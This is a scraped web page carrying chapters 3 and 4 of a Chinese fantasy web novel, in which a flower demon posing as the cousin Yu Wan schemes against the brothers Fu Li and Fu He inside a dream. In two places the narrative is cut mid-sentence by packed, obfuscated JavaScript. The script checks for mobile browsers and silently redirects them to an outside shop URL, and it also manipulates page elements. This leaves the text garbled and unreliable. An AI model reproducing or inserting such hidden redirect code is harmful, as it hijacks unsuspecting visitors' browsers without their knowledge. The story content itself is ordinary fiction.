《小芍药》 3. 第 3 章 事情进展出现了一些小小意外,但总归提前将傅离从那暗房里“救”了出来。 过了晌午。 有仆人匆匆从外面回来,显然打探到了什么重要消息,“二公子就要回府来了!” 这对于一向就很关注二公子的表小姐而言,无疑是天大的好消息。 一旁小福听说后,激动的情绪不亚于正主,“眼下大公子这只兔儿得到了小姐的救赎,想来二公子也会对小姐满怀感激。” 府里的下人都很清楚,二公子颇为在意这位兄长,这次若不是被外面的事务绊住,想必对方无论如何都会求老太爷放了大公子。 现在小姐替他做到了这件事,只怕他想不感谢都难。 芍药垂下眼睫,不由陷入沉思。 自己一个天生坏种竟帮着虞婉洗白了那般多的坏事……这虽违背她们花妖作恶多端的本性,但却可以帮助她更好地构陷谢扶檀。 “我原本就心地善良,待二表哥回府来……自然更要好好表现。” 芍药抱起掌心一盅甜茶,心中细细计划着接下来要做的恶。 小福在听见她口中的“善良”二字愣了愣神,接着却露出几分迟疑,“那……苑夕怎么办?” 苑夕? 芍药眼皮蓦地一跳。 但她接下来很快就想起这个名字的主人。 苑夕就是先前被虞婉推下水的丫鬟。 不过芍药为了更好塑造自己的善良形象,得知这件事后,便第一时间让小福给了苑夕一大笔补偿。 …… 大雨如注。 苑夕在雨里等了许久。 和那位表小姐不一样,她与二公子身边的小厮墨页私交甚好,对方提早向她透露二公子会比原定日期提前三日归来。 所以即便倾盆大雨,苑夕也依然坚持在雨中等待。 直至一抹清朗月白的身影在阴郁雨幕中缓缓出现,仿佛带来了一丝早春曦光,让苑夕心跳都急促起来。 “苑夕?这么大雨你怎在此?” 雨幕中,一旁撑伞的小厮墨页在看清楚苑夕后,面上微微惊愕。 苑夕没有回答墨页,只坚定了目光直直看向那抹月白身影,“二公子,我想替表小姐澄清一件事,是关于我上次落水的事情……” 二公子原本和苑夕这种身份低微的奴仆并不熟,但她曾经极其大胆拿些诗文拦住二公子去路,想让对方指点于她。 打那之后,苑夕便隔三差五求见二公子让他为自己解诗说文。 苑夕攥紧了潮湿衣袖,“我想告诉二公子,勿要听信旁人的话,至于那件事……” 苑夕指尖绷得泛白,答案就在她唇齿间徘徊,她坚定了语气,逐字逐句道:“的确是表小姐推了我!” “表小姐拿了钱给我母亲治病,希望我在二公子面前否认这件事。” 苑夕一口气揭发了表小姐的恶行后,四周瞬间陷入了死寂。 四周沙沙的雨声,风声,树叶哗哗交叠声,唯独没有人声。 在苑夕紧张到可以听见自己呼吸之前,伞下才徐徐传来了她久违的熟悉嗓音。 “我知道了。” 在声音主人的示意下,仆人将伞沿缓缓抬起,直至苑夕终于彻底看清那副朗润姣好的面容。 傅和长身玉立,隔着雨帘,身姿愈清润如竹,和府上其他主子不同,他纵使身份清贵,待下的语气亦慈和如故,“苑夕,你母亲的病好些了吗?” 他竟然捉住了她话中的细节,并主动关心她的母亲…… 苑夕心跳漏了一拍,她反应过来后忙不迭回答:“母亲她吃了仙参丸后,已经能下地干活了。” 其他下人不由暗暗吃惊,那仙参丸一千两一粒,普通人恐怕几辈子都拿不出这等巨款,表小姐竟这般大手笔赠与她…… 傅和语气轻缓,“蓼蓼者莪,匪莪伊蒿,哀哀父母,生我劬劳。为人子女,唯父母恩情无以为报。” 在苑夕微微困惑的目光下,傅和那双澄澈温和的眼眸缓缓与她对视。 “日后你更该知恩图报,莫要辜负了表小姐的襄助。” 这件事,表小姐有错,错在不该推她下水,不该指使她撒谎,可救助她的母亲这件事却是铁铮铮的事实,无可辩驳。 苑夕整个人如遭雷劈,定在了原地。 傅和让墨页留下,赠些补品给苑夕的母亲,身为一个主子对下人这般关怀备至,堪称罕有。 雨滴打在伞面,哗哗不息。 “你来府里这么久怎就忘了?” 墨页停留在苑夕面前,似乎有几分怜惜她,“二公子向来重视恩情孝道,在他眼中唯恩义大过天……” 苑夕听到墨页的提示心头愈发凄怆,是了,二公子眼中,向来恩义在前,私情在后。 苑夕想,这就是下人的悲哀,她明明是被表小姐伤害的那个,表小姐不过才做了一件好事,就可以抹消了以前的罪恶吗? …… 傅和回府来,第一件事便要过去看望兄长。 墨页处置好事情后,很快便也跟了上来。 雨中的水汽颇为恼人,不一会儿墨页都觉皮肤表面黏连难受,“公子一路舟车劳顿,可要先行回去沐浴休顿一番,晚些时候再来?” 傅和闻言,于伞下的神情反而显忧虑,“也不知兄长伤口可有得到处置?” 墨页说道:“也许大公子早已痊愈……” 墨页的话音将将落下,却突然于大公子的辞羲苑前看到了一个不该出现在这里的身影。 雨幕连连,如水雾织起的濛濛雾霭,令整个傅宅草木都一并淹没在了朦胧烟雾当中。 隔着一层朦胧水汽,墨页看见了一袭烟粉裙影。 一只素白的细手握住玉色伞柄,少女的鬓角微微湿润,一缕极细碎的乌发黏在了雪白颊侧,却浑然未觉。 直至墨页跟随二公子走得更近时,伞下穿着一袭粉裙的芍药才恍若回神般意外道:“二表哥?” 二公子比原定的日期提前三日回来,任谁这个时候见了他都会感到意外。可表小姐会主动来看大公子,同样也是一件令人跌破下巴的事。 “我听闻二表哥要三日后才回府,却不曾想今日就会见到二表哥……” 也许是冷风太急,少女婉绵的语气轻柔得竟好似心虚一般。 兼之方才苑夕特意拦住二公子告这位表小姐的状…… 墨页却愈发觉得,会心虚的表小姐反而与从前大相径庭,以前的表小姐若欺负了旁人,不仅不会向对方认错赔礼,还会变本加厉处置。 又或者眼下,大公子这般卑贱的出身,也根本不值她冒着风雨赶来看望。 “二表哥,该不会认不得我了?” 芍药望着对面清逸的身影,掌心几乎都要沁出冷汗。 对方许久不言,仅是执伞而立便如雨中一株青竹,清影飘逸。 傅和清润的眸光平静若潭,语气轻缓如常:“许久不见婉表妹……” “竟好似,有种刚认识的错觉。” 他这话一出,芍药差点当场绷不住,不愧是那位出身镜清仙山的首徒“谢扶檀”本人,竟险些被他勘破梦境…… 芍药哪知妖物向来皮囊漂亮,花妖更是当中的佼佼者。 花妖仅仅容貌便异于常人美丽,普通人陷入梦境也许很难察觉异样,但会引起一些敏丨感的修士感知异常并不是很难。 墨页仰头看向里屋,不由询问:“说起来,表小姐为何站在外面不进去?” 芍药收敛眸光,语气迟疑:“大表哥身上有鞭伤,大夫正在给他治疗不许人打扰。” 傅离治伤时不许任何人在场,这是府里早有的规矩。 恰好这时,提着药箱的大夫从里面走了出来,大夫说道:“大公子已经睡下,今日诸位便不必再打扰。” 墨页闻言难免着急,“可是……” 可是他们二公子特意冒雨而来。 傅和却适时打断,“无妨,今日便罢了,先让兄长好生休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775008|190266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以往大夫给兄长看诊不许任何人进入,傅和都相信兄长得到了很好的治疗,这次也不例外。 他说罢亦是不失礼数,对面前芍药说道:“风大雨急,婉表妹也早些回去休息。” 芍药握紧伞柄,应了个“好”。 天色愈暗,恶劣的天气容不得人在室外多寒暄半点,礼节性地致意后,傅和便也不在此地久留。 不远处,小福上气不接下气,好不容易追了上来,仍气喘吁吁:“小……小姐……” “日后多的是见面机会,何……何必赶在这一时……” 在小福看来,小姐简直痴迷二公子到魔怔的地步了。 在听见二公子人已经抵达府邸的那一刻,小姐漂亮的脸庞便呆愣住,接着不知想到什么,便提着裙摆匆匆出门。 路途上,小福甚至都没能跑过小姐。 目送傅和一行人身影远去的同时,芍药驻足原地也难忍心脏扑通扑通。 险些……就晚了一步。 作为目标人物“谢扶檀”,傅和回府本该是芍药最为期待的事情。 但偏偏是在这个时候。 和小福想的不同,芍药赶在傅和之前到达这里,却不是为了制造与傅和的“巧遇”。 而是为了阻止傅和与傅离见面。 不仅如此…… 接下来她还得抢在傅和之前,先与傅离见面,想办法阻止他向傅和告状。 傅和会提前回府的原因并不难打听。 他为调查傅离打碎花瓶一事,也为及时收集更多证据,这才出其不意提前归来。 傅和现在还没有查到是虞婉所为,但如果傅离这时候指认是虞婉,会给芍药带来不必要的麻烦。 毕竟这些正派人士最是喜欢善良之人。 只等翌日一早,雨歇云收。 辞羲苑依旧如昨日那般清冷寥寒。 这里不似芍药的珍珠苑那般奢靡,少说有十六数下人服侍,此地偏僻荒芜,苑里也只有一个瘦弱的小厮名唤冷余。 今日月中十五是个特殊日子,冷余不许任何人进入辞羲苑半步。 在老太爷隐晦的吩咐下,唯独被允许进入的人,便是按时前来割血的表小姐。 芍药步入辞羲苑房门之内。 傅离却并没有像她想象中那般卧榻不起,而是坐在一把陈旧的轮椅上,仍是一身玄衣。 他的房屋格局很是冷清,室内一切都像是褪了颜色般,阴暗色调压抑得令人很不舒服。 而步入这晦暗之处的芍药,鲜美惹眼,一身暖杏色的裙摆如花瓣般与珍珠玉环层叠垂坠,宛若淤泥里开出的漂亮花朵。 任何人见到她,都只会觉得这般娇矜漂亮的美人与这种粗鄙之地格格不入。 芍药面上看似淡然,只是见到傅离难免想到暗房里的事情……几乎下意识绷紧了身上的皮。 此番前来是为了收买于他,无论如何她都得想方设法让这位“大表哥”为她保守秘密。 “大表哥……” 纵使思考了不少歹毒狠辣的方法想要让他直接就范,可人到了这极不好惹的角色跟前,芍药却只能启开柔软唇瓣,语气恍若关怀:“你的伤口好些了吗?” 一旁冷余闻言像是得到了指令,当即俯身为傅离卷起了袖子。 芍药滢眸中蕴起些许困惑,待垂下卷翘的扇睫看去,人也瞬间懵住。 冷余却习惯道:“按小姐的吩咐这次也和以往一般,我去门外守着,小姐好了只管唤我。” 他说完人便退出,独留下芍药一人应对,险些流下冷汗。 室内的氛围似乎因为芍药的主动关心愈显凝固。 概因在傅离卷起的袖口之下,对方手臂上纵横交错、全是刀伤,其上伤痕像是织起来的一张肉网,狰狞,扭曲,触目惊心。 此时此刻,芍药终于知道她那日摸到他手腕上的东西是什么…… 在这些伤疤的衬托下,她方才询问“伤口好了没有”,更像在恶毒地落井下石。 4.第 4 章 傅离却早已习惯她伤口撒盐的恶毒,他食指破损的伤口结成了几道细小痂痕,过于苍白的手掌叩在了旧褐木扶手之上。 青年清冷的嗓音如冰霜碎雪,“虞小姐,可看清楚了?” 与当日在地牢中骇人的阴暗模样大相径庭,除了那张过分昳美的脸庞以外,眼下的傅离看起来仍然与普通残废一般,毫无威胁。 让芍药意外的是,他竟不会与傅和一样喊她“表妹”,而是和其他身份卑贱的奴仆一般称呼。 芍药:“……” 她颇尴尬地发现,想要以“善良亲和”的姿态感化这位阴暗表哥并没有那么容易。 比起漫长的寒暄铺垫,芍药决定还是直接开门见山,“不管表哥信或是不信,我今日来不是为了割表哥的血。” 确认四下再无旁人后,芍药缓缓取出一罐新鲜血液置于桌面,“今日这份血会取代表哥的血,里面加入的一些药物……” 她说着,接下来语气略为试探,“也会让那人产生好转的错觉,不会怀疑。” 傅离将她的举止纳入眼底,黑睫下的眸光毫无波澜。 可他神情不变,这难免令芍药心头暗暗松了口气。 她猜对了。 那位傅老太爷年纪老迈,不能出门见光,恐怕多半是身怀恶疾。他无意中发现傅离的血竟能缓解,又找来可信的巫医后代定期割采。 而虞婉也因此从最容易受欺负的可怜孤女,摇身一变成为府中最受宠的表小姐。 这当中,蘸得都是傅离的人血馒头。 眼下,察觉出虞婉与傅离这层雪上加霜的地狱关系后,芍药却只能硬着头皮继续道,“大表哥,这下你总该相信我是真改好了吧?” 为保持傅离纯粹的血液,老太爷不许人给他治伤,更不许他接触药物。 所以傅离从小到大的伤口腐烂恶化也皆放任不管。 芍药此番还带来了品质上乘的治愈良药。 除却那些新旧不一的疤痕,傅离手臂侧面还有一道新鲜未愈的鞭伤,深可见骨。 为了防止他避开她的治疗企图,芍药几乎话音落下的同时便身体力行地上前半步,将治伤良药覆在对方的伤口之上,更用行动来治愈他。 “从前要求大表哥和其他仆人一样尊称于我,显然是我不对……大表哥往后唤我表妹就好,你我一家人不必那么生分。” 营造出这般温馨治愈氛围,芍药不信他还会无动于衷。 果不其然,在她说完这般诚挚的话后,傅离眸中的情绪好似有所转变,男人原本缄默不言的淡色唇瓣缓缓启开,“表、妹?” 不得不说,他不光外表好看得充满迷惑性,连声音都好似上乘珠玉落雪,低醇的嗓音酥得人耳廓微麻。 如芍药设想的那般,这种脆弱且无人关爱的可怜阴暗角色,一旦受到了太阳般温暖的救赎,接下来便很难抗拒这般暖心的善举。 傅离看向她清澄滢美的檀眸,只仿佛真的是只性情温顺的黑兔儿。 他温顺到,接下来果真如她所要求的那般,亲昵称呼她为“表妹”,让芍药充满希望,以为自己已然手握救赎剧本。 “表妹先前特意在这道伤口处下过毒……” 傅离宛若出于好心,缓缓提醒道:“眼下再撒什么药粉都不会使其治愈。” “相反,只会疼得更为痛楚百倍。” 他徐徐掀起浓密眼睫,黑眸沉沉地望向她。 “表妹先前亲口说过的话,自是令人难忘。” 芍药:“……” 仿佛一下子没能听懂他说什么。 芍药漂亮的滢眸里僵凝了瞬,不可置信的目光一点一点下移…… 接着便看到,他方才还平静的伤口处,在上药后反而更为蚀烂血肉的残忍景象。 和她本人看过的小太阳治愈剧本结局完全相反…… 青年面容病态温柔,黑眸里却沉淀着说不出的阴翳,先前掐过她的苍白指骨摩挲着旧木扶手,在这压抑的室内显得莫名冷瘆。 “我该怎么感谢你呢,表妹?” 在一种近乎憎恶的处境下,他给了芍药想要表达亲昵的“表妹”称呼,更像是一种黏稠恶意。 …… 傅老太爷那边派了仆人准时将血取走,同时表小姐也神态恍惚地从里面出来。 小福跟着小姐从辞羲苑回来后,心头颇为犯怵。 不知小姐这次去了大公子那儿又是哪里不太如意,竟不似以往那般咒骂对方贱种畜生,而是安静地宛若雪雕琉璃,仿佛随时都会碎掉。 小福见状更是眼观鼻鼻观心,不敢多说半个字眼。 对于芍药而言,虽也不是头回失败,可印象中许多话本里的天崩开局往往走向都会极其治愈。 芍药怎么都想不明白,到她这里崩成了废墟的恶劣关系竟然还能更崩? 此番如此用心良苦制造救赎剧本,实在消耗了她不少心思。 芍药虽不至于立马放弃,可也实在难忍恶毒赛道上的一再挫败。 嫣红柔嫩的唇瓣湿润饱满,紧紧抿合上半晌都默然无言。 鸦黑扇睫颤颤地眨动了下,窝囊的泪液暗暗积攒在了鸦睫下,想到梦境里的时间已然不多…… 她又赶忙忍住。 静下心来重新梳理害人的思路。 想到傅离身上有修士气息,分明是修士入梦,芍药竟也不能简单粗暴地杀他灭口。 弄不好,对方直接从梦里醒来,回到现实后将其他修士与“谢扶檀”都唤醒,届时她和邪祟便真就活到头了。 芍药接下来只能赌一把,同时抓紧时间尝试其他更为歹毒的方法。 在这期间,芍药没少让仆人赠送补汤甜品,又为了方便监视傅离,亲自动手缝制了一只香囊。 在邪祟制造的梦境里动用术法是一件相当麻烦的事情。 芍药只能在香囊里藏匿一抹花灵,在感应到傅离收到东西瞬间的情绪后,便会立马消散。 * 在手头上的事解决一部分后,傅和特意抽出时间去探望傅离。 不期而然,他再度遇见了前来探望傅离的芍药。 这次二人的“偶遇”也并不牵强。 这几日算下来,芍药几乎隔三差五都送东西过来,她慰问辞羲苑的次数比傅和都要频繁。 前日香囊送到傅离眼皮底下,藏匿其中的花灵消散时,所感应到的情绪变化也反馈了回来。 然而出乎芍药的意料,对方的情绪竟死寂地仿佛一潭死水,没有激起任何活人应有的情绪,仿佛这些举动既无法让他动容,也无法更加厌嫌憎恶。 他将情绪掩饰得滴水不漏,这么一个不显山不露水的角色,让芍药愈发加深了棘手的印象。 此番芍药也正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782865|190266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是假借探望之名监视他二人对话。 入了辞羲苑,傅和礼貌问候过芍药的近况后,复又询问:“听闻婉表妹前日看过了兄长,婉表妹觉得兄长可有好些?” 他生性善良自是相信府中大夫会为兄长“诊治”伤患。 两人一面说着话,一面迈过门槛入屋中。 芍药正要开口,甫一抬起眼眸便瞧见傅离伶仃瘦削的身影在一扇映着青竹的檀窗侧畔。 听到身后动静,傅离微微抬眸,余光便看见了傅和、以及傅和身畔的少女。 他眸光晦沉,面容尤存病气,窗外青翠欲滴的生机绿意衬得他面庞愈显苍白。 许是因为室内阴森暗沉,以至于他白瘆得像是死了三天三夜的噩鬼,让芍药看见时心头又是一突,这般毫无血色的病态模样,他的身体显然尚未痊愈。 屋中有客,傅离身为此间主人似要启开那双淡薄唇瓣说出什么。 芍药见状立马心虚上前,“大表哥……你好些没有?” 傅离浸润了凉意的黑眸徐徐睨向她。 “托表妹的福,当下才好。” 他恍若亲昵唤她“表妹”,看似关系缓解,可只有芍药知晓当时的情景有多地狱。 傅和并未察觉出二人的异常,亦是上前轻声问候:“前几日没能来看望兄长,是我的不是了。” 傅和说着又将手中一本书籍奉上,“先前看到兄长屋中有此书残页,料想兄长应该喜欢。” 说是残页那都是客气话了,傅离屋中没有任何书籍,幼年时,他甚至连与同族的其他孩子一起读书的机会都没有。 那残缺不全的书页只怕也是他在不知名处捡了仆人都嫌弃的东西。 芍药一想到这位双腿残疾的病弱表哥寒风天还要拖着残躯在外面捡破烂回来……凄惨到这般地步,倒显得她对他的迫害更为可恶。 待她垂眸去打量时,便瞧见傅和带来的是一本崭新医书。 这本书籍却与寻常医书有所不同,上面似乎画着人类的身体组织,以及剖开赤丨裸身体后更为详细具体的介绍…… 这般内容稍加联想都是血肉模糊的画面。 在芍药印象中,这种书籍对于这些人类来说应该很是怪诞,恐怕只有心理不正常的病态人类才会喜欢。 芍药接着又想到他当时捡来这种书籍残页很可能是为了更好地杀人……她顿时又感到汗毛些许发痒。 却不曾想,傅离在收到这本全页的书籍后却与傅和道了声“谢”。 他情绪虽没有太大变化,可与傅和正常交流的模样让芍药颇为意外,对比之下,他待她的隔阂厚得无需尺量,几乎是肉眼可见。 傅和见状亦是发自内心地浮出笑意,“兄长客气,这点小事何足挂齿。” 芍药坐在椅上饮茶,看似漫不经心,实则眼角余光处处都留意着傅离的神态变化、唇瓣翕合。 因为先前的受伤与流血,傅离的唇瓣仍旧显得色泽淡薄,漂亮的唇形看起来本该艳得招惹桃花,却因他那双幽暗冷沉的黑眸而压抑了几分风流多情。 盯的时间久了,芍药发现他叩在扶手上原本平静的指节似略有些不耐,忽而点叩顿住。 芍药前几次与他见面时,他似乎并没有这种习惯。 大抵是她说出在他看来极荒谬的言论时,他的食指指节才会点叩于膝面之上,像是感到荒谬玩味。